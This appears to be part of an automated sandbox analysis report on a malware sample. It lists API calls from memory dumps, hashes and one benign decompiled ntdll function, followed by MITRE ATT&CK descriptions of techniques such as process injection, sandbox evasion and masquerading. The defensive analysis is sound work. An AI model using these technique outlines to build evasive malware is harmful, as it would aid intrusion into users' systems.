Uniqueness Score: -1.00%

Function 00D996D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D996DA

Memory Dump Source

Source File: 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp, Offset: 00D30000, based on PE: true

Associated: 0000000F.00000002.496563172.0000000000E4B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.496578865.0000000000E4F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 513bcc639f3c40371aae715e253314f7d679779f428161b5c0618d0bb6bca14c
Instruction ID: ef792115a4123851ce478128c8eb086684da84198ff27bb67f0edff4bd503586
Opcode Fuzzy Hash: 513bcc639f3c40371aae715e253314f7d679779f428161b5c0618d0bb6bca14c
Instruction Fuzzy Hash: 4290027120100856D20061594404B46100697E5351F91C026A01246A4D8A55C891B571

Uniqueness

Uniqueness Score: -1.00%

Function 00D996E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D996EA

Memory Dump Source

Source File: 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp, Offset: 00D30000, based on PE: true

Associated: 0000000F.00000002.496563172.0000000000E4B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.496578865.0000000000E4F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8ee5600d974593957f1407355f0c4769b41c323cec85034e38a5182aeb443649
Instruction ID: 28f3bcb3eba76aab0e999bc53df7c27e0f665db98c996b58900db32a37301b43
Opcode Fuzzy Hash: 8ee5600d974593957f1407355f0c4769b41c323cec85034e38a5182aeb443649
Instruction Fuzzy Hash: AA90027120108816D2106159840474A100697D5351F95C421A44246A8D8AD588D1B171

Uniqueness

Uniqueness Score: -1.00%

Function 00D99FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D99FEA

Memory Dump Source

Source File: 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp, Offset: 00D30000, based on PE: true

Associated: 0000000F.00000002.496563172.0000000000E4B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.496578865.0000000000E4F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 608f02c81f663580979e3e070323bf9f638c9147287ec1455659570ab64ee90d
Instruction ID: de59ca340698fbbe3534ba579bcb152636846c6b2de2d018f26b70824aed0d4c
Opcode Fuzzy Hash: 608f02c81f663580979e3e070323bf9f638c9147287ec1455659570ab64ee90d
Instruction Fuzzy Hash: 2190027131114416D21061598404706100697D6351F91C421A08245A8D8AD588D1B172

Uniqueness

Uniqueness Score: -1.00%

Function 00D99780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D9978A

Memory Dump Source

Source File: 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp, Offset: 00D30000, based on PE: true

Associated: 0000000F.00000002.496563172.0000000000E4B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.496578865.0000000000E4F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 725f8ffa8174b7953266e8d90912fb288b47d9bedf7e1ec76fcddbc0a772cc95
Instruction ID: 39b8b3d8c055dc4120f89c7deb71dadc75939e25c98e1f7654cf96e39b1c6dc9
Opcode Fuzzy Hash: 725f8ffa8174b7953266e8d90912fb288b47d9bedf7e1ec76fcddbc0a772cc95
Instruction Fuzzy Hash: 1590026921300016D2807159540860A100697D6352FD1D425A00155A8CCD5588A9A371

Uniqueness

Uniqueness Score: -1.00%

Function 00D99710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D9971A

Memory Dump Source

Source File: 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp, Offset: 00D30000, based on PE: true

Associated: 0000000F.00000002.496563172.0000000000E4B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.496578865.0000000000E4F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3b9aa2a5006184045afb6e8cc2b3ab43318683fbc4def311068577be44500f7f
Instruction ID: 09d5bd81ce3f19eccae9320094fa8837b2e74b2de338c0e0a90bb2fe32f9e4b0
Opcode Fuzzy Hash: 3b9aa2a5006184045afb6e8cc2b3ab43318683fbc4def311068577be44500f7f
Instruction Fuzzy Hash: D690027120100416D20065995408646100697E5351F91D021A50245A5ECAA588D1B171

Uniqueness

Uniqueness Score: -1.00%

Function 003C84BB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65processmemoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,003B3B93), ref: 003C84ED
CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 003C8584

Strings

.z`, xrefs: 003C84DC, 003C84E8

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: CreateFreeHeapInternalProcess
String ID: .z`
API String ID: 1438695366-1441809116
Opcode ID: 81289122e04a31d4caffb37b6406368495788ce0387d24fb3041a06109e5dc48
Instruction ID: 0909e7d4b78784cafb44cca720e5d8d706529206b4484cc53c2ee12ee1d80cca
Opcode Fuzzy Hash: 81289122e04a31d4caffb37b6406368495788ce0387d24fb3041a06109e5dc48
Instruction Fuzzy Hash: 8A11A7B2210108BBDB14DF99DC85EEB77A9AF8C354F158658FA0D97251CA30ED11CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 003C6ED0, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 003C6F78

Strings

wininet.dll, xrefs: 003C6F2E, 003C6F37
net.dll, xrefs: 003C6F41, 003C6FC7, 003C6F9F, 003C6FAB, 003C6FD3

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 88c20bbb2b7c8829fddf9f6bb39583d4f084adba5c6aacd6764234dc5a9853d1
Instruction ID: be0f1be25caa095841eeda139abea63a4a39af717ddf9473f2ffc98a54b504ef
Opcode Fuzzy Hash: 88c20bbb2b7c8829fddf9f6bb39583d4f084adba5c6aacd6764234dc5a9853d1
Instruction Fuzzy Hash: 733172B5601704ABC716DF68D8A2FA7B7B8AF48700F00841DF61A9B241D770B945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 003C6EC6, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 79sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 003C6F78

Strings

wininet.dll, xrefs: 003C6F2E, 003C6F37
net.dll, xrefs: 003C6F41, 003C6F9F, 003C6FAB

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: dff03bd252763fd3abbb12085d9d2915712c05a01320eb1cf8c5f00eac7eaf65
Instruction ID: 4e7fc6cddec61c372b2358e92d9487d5ada125ab57be33e3d5b7f867ccbcfe7b
Opcode Fuzzy Hash: dff03bd252763fd3abbb12085d9d2915712c05a01320eb1cf8c5f00eac7eaf65
Instruction Fuzzy Hash: 4721B1B1A41304ABD711DFA4D8A2FABB7B8AF48700F10801DFA19AB241D770AD45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 003C84C0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,003B3B93), ref: 003C84ED

Strings

.z`, xrefs: 003C84DC, 003C84E8

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 25424ef884bc3e4813f24f85f44660323a19d58d837bf33f220a2a342e11e98e
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: A2E01AB12002046BDB14DF59CC49EA777ACAF88750F014558BA095B241CA30E9108BF0

Uniqueness

Uniqueness Score: -1.00%

Function 003B7260, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 003B72BA
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 003B72DB

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: a9594f84c37c17433d042ac5c8e1ad550bfd38bd5391b8136a63aecbdda8d0ed
Instruction ID: fe88a9c91b5f078882380fb733eb19d4c3d79170848dad4e47733e335367af1f
Opcode Fuzzy Hash: a9594f84c37c17433d042ac5c8e1ad550bfd38bd5391b8136a63aecbdda8d0ed
Instruction Fuzzy Hash: 5601D431A802287AEB22A6949C03FFE762C9B40B54F150419FF04BE1C2E6946D0643E5

Uniqueness

Uniqueness Score: -1.00%

Function 003B9B10, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 003B9B82

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction ID: d1c3d59ccfc6d2d2e10b50a29214679afac595c2217bcba6ff08d9bf98954f98
Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction Fuzzy Hash: 82011EB5D4020DABDF11EAE4EC86FDDB3789B54308F104199EA089B241F671EB14CB91

Uniqueness

Uniqueness Score: -1.00%

Function 003C8530, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 003C8584

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 0388500f812383ae320c1099d9530b8e2b1d7749c6bef973044efa6964ddb74b
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: E901AFB2210108ABCB54DF89DC80EEB77ADAF8C754F158258BA0D97241CA30EC51CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 003C7000, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,003BCCC0,?,?), ref: 003C703C

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 185e04aaa28da0e25bbc7138522af1bcfd1bae33f11158e1a0fde072e3332272
Instruction ID: 546461e0c33d2a57adf5760bd36f199beaedf4bb7e73e131727f081400c14dcd
Opcode Fuzzy Hash: 185e04aaa28da0e25bbc7138522af1bcfd1bae33f11158e1a0fde072e3332272
Instruction Fuzzy Hash: F9E06D333802143AE23165A9AC02FA7B29C8B81B21F15002AFA4DEA2C1D595F80147A4

Uniqueness

Uniqueness Score: -1.00%

Function 003C6FF3, Relevance: 1.5, APIs: 1, Instructions: 34threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,003BCCC0,?,?), ref: 003C703C

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 3d4d947fc310f949ac92dc6b20e21371108c46ab43a8a8dad21a02a7f985e088
Instruction ID: bdcbea197f9e6e1f94a23b6b3acf2a5423d3b1e9a2a0e36a4c922842761f15ac
Opcode Fuzzy Hash: 3d4d947fc310f949ac92dc6b20e21371108c46ab43a8a8dad21a02a7f985e088
Instruction Fuzzy Hash: 9DF0E53624034036D33266699C03FD37768CF52B14F15005DFA48AF2C2D495BC0647A8

Uniqueness

Uniqueness Score: -1.00%

Function 003C8614, Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,003BCF92,003BCF92,?,00000000,?,?), ref: 003C8650

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 16349dbd519776a4d8571a44e7fd87a4f20e400fed8e5c414a269bd0ca7a40dd
Instruction ID: b003de2ae95083bc9a16653f971b05acf8f7b3923c476e5366e935e9380e07cc
Opcode Fuzzy Hash: 16349dbd519776a4d8571a44e7fd87a4f20e400fed8e5c414a269bd0ca7a40dd
Instruction Fuzzy Hash: 71E06DB16002086BDB10DF54DC85FE73BA9DF85310F048058FA196B282C935E9148BE0

Uniqueness

Uniqueness Score: -1.00%

Function 003C8620, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,003BCF92,003BCF92,?,00000000,?,?), ref: 003C8650

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 7a7963536cd78e3c424c12947872cbf6438f42866fc7abc3d5a781cd9d44f499
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: 4EE01AB12002086BDB10DF49CC85EE737ADAF88650F018154BA095B241C930E9108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 003BD3F7, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,003B7C63,?), ref: 003BD42B

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 157ad245da668026342a666131ec2390bd03b8d6b5cc65a4521e4f9c186a083e
Instruction ID: 4cbc46f99f35d104dfc693b14e60480975ac0f5647e13b728a1d0930e67ea037
Opcode Fuzzy Hash: 157ad245da668026342a666131ec2390bd03b8d6b5cc65a4521e4f9c186a083e
Instruction Fuzzy Hash: A7D02BD17A830426F7116AB01D03F5326499B01740F05459CE44CEE1C3D918C0141235

Uniqueness

Uniqueness Score: -1.00%

Function 003BD400, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,003B7C63,?), ref: 003BD42B

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
Instruction ID: 542a88141de4e013deda61bb99b98386974635d0bc4d7b5f14beb186b93cf6ae
Opcode Fuzzy Hash: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
Instruction Fuzzy Hash: 5ED0A7727903043BE610FAA49C03F6632CD9B44B04F494064FA4CDB3C3ED60F9004261

Uniqueness

Uniqueness Score: -1.00%

Function 003C85C6, Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,003BCF92,003BCF92,?,00000000,?,?), ref: 003C8650

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: cae5259fb7ecb12d8945d5dfaafc26193dbb65977662e3c198a15be24be2844d
Instruction ID: 86ceba8bf685fe8668941a4f5881976f5f90722a0574c742f3c48a0545658c2e
Opcode Fuzzy Hash: cae5259fb7ecb12d8945d5dfaafc26193dbb65977662e3c198a15be24be2844d
Instruction Fuzzy Hash: 27C012B11140046BA510EA4C5C44D7A636DDBD4228360881AE949C2101CA21895246A4

Uniqueness

Uniqueness Score: -1.00%

Function 00D9967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D99694

Memory Dump Source

Source File: 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp, Offset: 00D30000, based on PE: true

Associated: 0000000F.00000002.496563172.0000000000E4B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.496578865.0000000000E4F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1ee0e1db42c4899d1d84e12a0ea2d2fe8b501b3332bc4e0c45a394d325ac3079
Instruction ID: 6f51f54f5a6da486519a938d6edca67256c1519ee92f85a20f20a3fad6e2f967
Opcode Fuzzy Hash: 1ee0e1db42c4899d1d84e12a0ea2d2fe8b501b3332bc4e0c45a394d325ac3079
Instruction Fuzzy Hash: AFB09B719014C5D9DB11D7654608717790177D5751F56C065D1030691A4778C4D1F5B5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00DEFDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00DEFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E00D9CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E00DE5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E00DE5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x00defdda
0x00defde2
0x00defde5
0x00defdec
0x00defdfa
0x00defdff
0x00defe0a
0x00defe0f
0x00defe17
0x00defe1e
0x00defe19
0x00defe19
0x00defe19
0x00defe20
0x00defe21
0x00defe22
0x00defe25
0x00defe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00DEFDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 00DEFE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 00DEFE2B

Memory Dump Source

Source File: 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp, Offset: 00D30000, based on PE: true

Associated: 0000000F.00000002.496563172.0000000000E4B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.496578865.0000000000E4F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 0976851cd17b1e72427b6be6de85b05d6538738236935d5b640f65aa5c99eb3a
Instruction ID: 1ddf7c66f8b0ee171d5c997fbfbfe6a21dbe0bf8ab9a60aa63d2d76b68aa6e24
Opcode Fuzzy Hash: 0976851cd17b1e72427b6be6de85b05d6538738236935d5b640f65aa5c99eb3a
Instruction Fuzzy Hash: 91F0F676200641BFEA202A46DC02F33BB6AEB44B70F240314F628561E1DA62FC3096F0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

